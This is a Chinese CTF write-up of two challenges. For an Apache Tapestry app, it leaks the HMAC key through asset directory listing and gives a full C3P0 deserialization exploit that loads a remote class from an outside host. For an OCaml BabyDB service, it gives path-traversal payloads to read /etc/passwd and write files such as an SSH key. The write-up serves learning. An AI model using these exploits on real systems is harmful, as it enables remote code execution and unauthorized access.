前言
这篇文章接之前留下的坑,主要分析了java Tapestry的一个从文件读取到反序列化RCE的一个漏洞和ocaml的一个小trick。
hotel booking system
发现Tapestry版本号,同时发现该网站是Tapestry的demo,在github已开源:1
https://github.com/ccordenier/tapestry5-hotel-booking
同时题目功能极少,只有search功能:
以及hint信息:1
2
3
4Anyway, As the project has no usable gadget libraries,
I added C3P0 to pom.xml.
25wzsxtql
那么大致猜测与其框架Tapestry漏洞有关,尝试搜索相关CVE:
尝试搜索相关漏洞细节描述,但无果,已知信息只有:1
Apache Tapestry before 5.3.6 relies on client-side object storage without checking whether a client has modified an object, which allows remote attackers to cause a denial of service (resource consumption) or execute arbitrary code via crafted serialized data.
那么大概可以判断,应该是没有校验客户端对象是否被更改,直接进行反序列化,触发攻击。
既然没有漏洞描述,那么只能自己去挖掘了,通过搜索,找到其fix version:1
Implement HMAC signatures on object streams stored on the client (Revision 95846b173d83c2eb42db75dae3e7d5e13a633946)
查看响应commit,发现一些改动:
加入hmac签名配置:
tapestry-core/src/main/java/org/apache/tapestry5/SymbolConstants.java
在AppModule.java可设置签名key:
tapestry-core/src/test/java/org/apache/tapestry5/integration/app1/services/AppModule.java
从fix version commit中并未发现和反序列直接挂钩的修复,应该修复落点在客户端对象校验,确保对象未被修改。但这样存在问题,一旦签名key泄露,那么依然可以进行攻击,随手尝试更改题目中的可疑值t:formdata:1
<input value="P7crGfP9hcuUq9D5E5+kJLaAq8c=:H4sIAAAAAAAAAJWQsUrEQBRFn4HAQkRRtLDXdtbCbbRxEYSFIIFgLZPJM45MZmZnJibbWPkTNn6BbKVfsIWd/+AH2FhYWZhJGsFFsHucd+Ee7uM7hPUaRBOZY3M4rdDMwBoYKVMQqim7QuKoRuvMbESYMih4RjJqkYyzFlLmTjmKfDdFV+m980X0tv3yFcBKDBFT0hklzmiJDjbja3pDh4LKYpg6w2Vx1GgHYde4RGD8X4HEKIbWplVWcmu5kot5fnD5+fAaADS63oKNvsGo2mo0mhYIdgq3AA4iDxM0SQuXJ30wrNdhtX9Z3+K85/GfnkyVWkmUzpJOzP3WvE8/dp6f7k4CCGIYMMHb9CT3fX5DFFi2wG/YIb/ZoG+/2P9xfgP6pMxQxwEAAA==" name="t:formdata" type="hidden"></input><div class="form-group"><label for="query" class="control-label col-md-4">
得到回显:1
java.io.IOException: Client data associated with the current request appears to have been tampered with (the HMAC signature does not match).
所以应该攻击点确实在t:formdata。
那么既然fix version没有明确的修复,只能自己跟了:
我们在search下断点,发现最终回来到onAction():1
2
3
4
5
6
7
8Object onAction(EventContext context) throws IOException
{
......
didPushBeanValidationContext = true;
executeStoredActions();
heartbeat.end();
......
}
关键函数executeStoredActions():
而全局搜索t:formdata,来到路径:
org/apache/tapestry5/corelib/components/Form.java
我们跟进FORM_DATA:
发现正是此处调用了客户端传来的t:formdata。
看到后续操作:
跟进decodeClientData():
可以发现t:formdata的编码模式:1
2GZIP compress
Base64 encode
然后会来到反序列化阶段,但需要注意的是5.3.8和5.4.3不太一样:
会多一个:1
boolean cancelAction = ois.readBoolean();
那么最后的落点大致都清楚了,关键点在于怎么拿到签名key:1
http://tapestry.apache.org/assets.html#Assets-AssetSecurity
可以发现这里有提到tapestry的安全问题,我们试一下:
我们尝试访问:
发现可以成功列目录,同时有提到1
Fortunately, this can't happen. Files with extension ".class" are secured; they must be accompanied in the URL with a query parameter that is the MD5 hash of the file's contents. If the query parameter is absent, or doesn't match the actual file's content, the request is rejected.
但这里的md5 hash似乎并没有起到安全保护的能力,而是会自动跳转到正确的hash:
所以我们可以尝试读取签名key文件内容,根据之前的fix version commit,我们知道key一般定义在:1
services/AppModule.java
我们尝试访问该文件,hash md5我们随便填写
发现可以列目录,得到:1
2
3
4AppModule.class
AppModule$1.class
Authenticator.class
BasicAuthenticator.class
读取AppModule.class后进行反编译,得到签名key:1
http://192.168.1.106:10000/assets/app/e3d6c19d/services/AppModule.class
最后就是exp的构造了:
题目提供了hint:c3p0,我们可以进行检索:1
https://blog.csdn.net/fnmsd/article/details/88959428#c3p0
参考这篇文章可以构造出exp,这里直接使用balsn的exp:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80import com.mchange.v2.c3p0.PoolBackedDataSource;
import org.apache.tapestry5.internal.services.ClientDataEncoderImpl;
import org.apache.tapestry5.services.ClientDataEncoder;
import org.apache.tapestry5.services.ClientDataSink;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import ysoserial.payloads.util.Reflections;
public class Main {
static public Object getExploit(String command) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}
String url = command.substring(0, sep);
String className = command.substring(sep + 1);
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}
public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}
public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}
public static void main(String[] args) throws Exception {
Object exp = getExploit("http://240.240.240.240:1234/:Exploit");
try {
ClientDataEncoder en = new ClientDataEncoderImpl(null, "TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)", null,
"does not matter", null);
ClientDataSink sink = en.createSink();
ObjectOutputStream s = sink.getObjectOutputStream();
s.writeUTF("1234");
s.writeBoolean(true);
s.writeObject(exp);
s.close();
String out = sink.getClientData();
System.out.println(out);
} catch (IOException i) {
i.printStackTrace();
return;
}
}
}
1 | public class Exploit { |
BabyDB
题目使用ocaml-cohttp完成了一个web服务,使用文件系统作为数据库,实现了注册,登录,存储,加载等操作。
我们观察到其功能:1
2
3
4
5
6
7
8match handler with
| "register" -> register req body args
| "login" -> test_login req body args
| "load" -> default_load req body args
| "store" -> default_store req body args
| "static" -> static req body args
| "batch" -> batch req body args
| _ -> unknown
我们首先进行用户注册:
再进行登录,并尝试文件读取:
发现error,我们查看原因:
由于目录不存在而导致我们目录穿越失败,不能进行文件读取。而这串md5和相关路径来自于以下代码:
那么很自然想到,需要让用户名为空,得到的md5自然为空,那么就可以进行目录上跳。
这里我们观察到login:1
2
3
4
5
6| "login"::args::body::others ->
let out = match is_default with
| true -> real_login false (whoami sess) cont req body args
| false -> real_login true (whoami sess) cont req body args
in
out
跟进whoami,发现其为:1
let whoami = fun _ -> SessionState.get
这里可以利用一个trick,使用户名为空,即第一次随意用用户名登录,第二次紧接着用空用户登录,即可构造用户名为空。
任意文件读取:1
login?sky?:login??:load?../../../../../../etc/passwd?sky
但是受制于load中的readfile:
我们只能读取文件第一行的内容,但flag文件第一行内容并不是flag。但我们注意到还可以使用store进行任意文件写入。
这里store的bypass和load一致,不再分析,直接给出exp:1
login?user?user:login??:store?../../../../../../tmp/test_file?test_content
那么这里应该可以想到写入ssh key,从而达成无需输入密码即可连入的目的。那么即可连入题目server,获取flag。
后记
本篇文章结束了之前留下的坑,其实java和ocaml对我来说,都是接触较少的语言,希望以后能有更多机会挑战自己,走出舒适圈XD。